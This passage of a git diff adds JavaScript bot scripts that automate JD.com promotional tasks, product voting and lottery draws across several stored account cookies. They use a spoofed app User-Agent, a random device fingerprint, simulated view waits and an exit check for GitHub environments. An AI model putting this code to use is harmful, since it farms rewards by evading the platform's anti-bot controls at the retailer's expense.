console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 3) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await getinfo2(vo.taskItem.itemLink); + await $.wait(1000 * vo.viewTime) + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 4) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 2) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + $.hasFinish = false; + } + } catch (e) { + console.log(e); + } +} + + +// 获取任务 +function getinfo() { + return new Promise(resolve => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/get?configCode=${$.configCode}&unionCardCode=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getinfo请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.chanceLeft = data.data.chanceLeft; + if (data.success == true) { + $.taskinfo = data.data.taskConfig + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//抽奖 +function join() { + return new Promise(async (resolve) => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/join?configCode=${$.configCode}&fp=${randomWord(false, 32, 32)}&eid=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`join请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log(`抽奖结果:${data.data.rewardName}`); + } + else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//做任务 +function doTask(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('doTask', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`doTask 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + +//领取任务奖励 +function getReward(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('getReward', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`getReward 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务奖励领取成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function getinfo2(url2) { + return new Promise(resolve => { + $.get({ + url: url2, + headers: { + 'Host': 'pro.m.jd.com', + 'accept': '*/*', + 'content-type': 'application/x-www-form-urlencoded', + 'referer': '', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`getinfo2 API请求失败,请检查网路重试`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `https://jdjoy.jd.com/module/task/draw/${function_id}`, + body: `${(body)}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/json", + "Host": "jdjoy.jd.com", + "x-requested-with": "com.jingdong.app.mall", + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function randomWord(randomFlag, min, max) { + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if (randomFlag) { + range = Math.round(Math.random() * (max - min)) + min; + } + for (var i = 0; i < range; i++) { + pos = Math.round(Math.random() * (arr.length - 1)); + str += arr[pos]; + } + return str; +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_gold_creator.js b/jd_gold_creator.js new file mode 100644 index 0000000..c2f7885 --- /dev/null +++ b/jd_gold_creator.js @@ -0,0 +1,351 @@ +/* +金榜创造营 +活动入口:https://h5.m.jd.com/babelDiy/Zeus/2H5Ng86mUJLXToEo57qWkJkjFPxw/index.html +活动时间:2021-05-21至2021-12-31 +脚本更新时间:2021-05-28 14:20 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#金榜创造营 +13 1,22 * * * jd_gold_creator.js, tag=金榜创造营, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "13 1,22 * * *" script-path=jd_gold_creator.js, tag=金榜创造营 + +====================Surge================ +金榜创造营 = type=cron,cronexp="13 1,22 * * *",wake-system=1,timeout=3600,script-path=jd_gold_creator.js + +============小火箭========= +金榜创造营 = type=cron,script-path=jd_gold_creator.js, cronexpr="13 1,22 * * *", timeout=3600, enable=true + */ +const $ = new Env('金榜创造营'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.beans = 0 + $.nickName = ''; + message = ''; + //await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } else { + $.setdata('', `CookieJD${i ? i + 1 : ""}`);//cookie失效,故清空cookie。$.setdata('', `CookieJD${i ? i + 1 : "" }`);//cookie失效,故清空cookie。 + } + continue + } + await main() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function main() { + try { + await goldCreatorTab();//获取顶部主题 + await getDetail(); + await goldCreatorPublish(); + await showMsg(); + } catch (e) { + $.logErr(e) + } +} +function showMsg() { + return new Promise(resolve => { + if ($.beans) { + message += `本次运行获得${$.beans}京豆` + $.msg($.name, '', `【京东账号${$.index}】${$.UserName || $.nickName}\n${message}`); + } + resolve() + }) +} +async function getDetail() { + $.subTitleInfos = $.subTitleInfos.filter(vo => !!vo && vo['hasVoted'] === '0'); + for (let item of $.subTitleInfos) { + console.log(`\n开始给【${item['longTitle']}】主题下的商品进行投票`); + await goldCreatorDetail(item['matGrpId'], item['subTitleId'], item['taskId'], item['batchId']); + await $.wait(4000); + } +} +function goldCreatorTab() { + $.subTitleInfos = []; + return new Promise(resolve => { + const body = {"subTitleId":"","isPrivateVote":"0"}; + const options = taskUrl('goldCreatorTab', body) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} goldCreatorDetail API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === '0') { + $.subTitleInfos = data.result.subTitleInfos || []; + let unVoted = $.subTitleInfos.length + console.log(`共有${$.subTitleInfos.length}个主题`); + $.stageId = data.result.mainTitleHeadInfo.stageId; + $.advGrpId = data.result.mainTitleHeadInfo.advGrpId; + await goldCreatorDetail($.subTitleInfos[0]['matGrpId'], $.subTitleInfos[0]['subTitleId'], $.subTitleInfos[0]['taskId'], $.subTitleInfos[0]['batchId'], true); + $.subTitleInfos = $.subTitleInfos.filter(vo => !!vo && vo['hasVoted'] === '0'); + console.log(`已投票${unVoted - $.subTitleInfos.length}主题\n`); + } else { + console.log(`goldCreatorTab 异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//获取每个主题下面待投票的商品 +function goldCreatorDetail(groupId, subTitleId, taskId, batchId, flag = false) { + $.skuList = []; + $.taskList = []; + $.remainVotes = 0; + return new Promise(resolve => { + const body = { + groupId, + "stageId": $.stageId, + subTitleId, + batchId, + "skuId": "", + "taskId": Number(taskId) + }; + const options = taskUrl('goldCreatorDetail', body) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} goldCreatorDetail API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === '0') { + $.remainVotes = data.result.remainVotes || 0; + $.skuList = data.result.skuList || []; + $.taskList = data.result.taskList || []; + $.signTask = data.result.signTask + if (flag) { + await doTask2(batchId); + } else { + console.log(`当前剩余投票次数:${$.remainVotes}`); + await doTask(subTitleId, taskId, batchId); + } + } else { + console.log(`goldCreatorDetail 异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function doTask(subTitleId, taskId, batchId) { + $.skuList = $.skuList.filter(vo => !!vo && vo['isVoted'] === 0); + let randIndex = Math.floor(Math.random() * $.skuList.length); + console.log(`给 【${$.skuList[randIndex]['name']}】 商品投票`); + const body = { + "stageId": $.stageId, + subTitleId, + "skuId": $.skuList[randIndex]['skuId'], + "taskId": Number(taskId), + "itemId": "1", + "rankId": $.skuList[randIndex]['rankId'], + "type": 1, + batchId + }; + await goldCreatorDoTask(body); +} +async function doTask2(batchId) { + for (let task of $.taskList) { + task = task.filter(vo => !!vo && vo['taskStatus'] === 1); + for (let item of task) { + console.log(`\n做额外任务:${item['taskName']}`) + const body = {"taskId": item['taskId'], "itemId": item['taskItemInfo']['itemId'], "type": item['taskType'], batchId}; + if (item['taskType'] === 1) { + body['type'] = 2; + } + await goldCreatorDoTask(body); + await $.wait(4000); + } + } + if ($.signTask['taskStatus'] === 1) { + const body = {"taskId": $.signTask['taskId'], "itemId": $.signTask['taskItemInfo']['itemId'], "type": $.signTask['taskType'], batchId}; + await goldCreatorDoTask(body); + } +} +function goldCreatorDoTask(body) { + return new Promise(resolve => { + const options = taskUrl('goldCreatorDoTask', body) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} goldCreatorDetail API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === '0') { + if (data.result.taskCode === '0') { + console.log(`成功,获得 ${data.result.lotteryScore}京豆\n`); + if (data.result.lotteryScore) $.beans += parseInt(data.result.lotteryScore); + } else { + console.log(`失败:${data.result['taskMsg']}\n`); + } + } else { + console.log(`失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function goldCreatorPublish() { + return new Promise(resolve => { + $.get(taskUrl('goldCreatorPublish'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} goldCreatorPublish API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === '0') { + if (data.result.subCode === '0') { + console.log(data.result.lotteryResult.lotteryCode === '0' ? `揭榜成功:获得${data.result.lotteryResult.lotteryScore}京豆` : `揭榜成功:获得空气~`) + } + } else { + console.log(`揭榜失败:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=content_ecology&clientVersion=10.0.0&client=wh5&eufv=false&uuid=`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://h5.m.jd.com/", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return 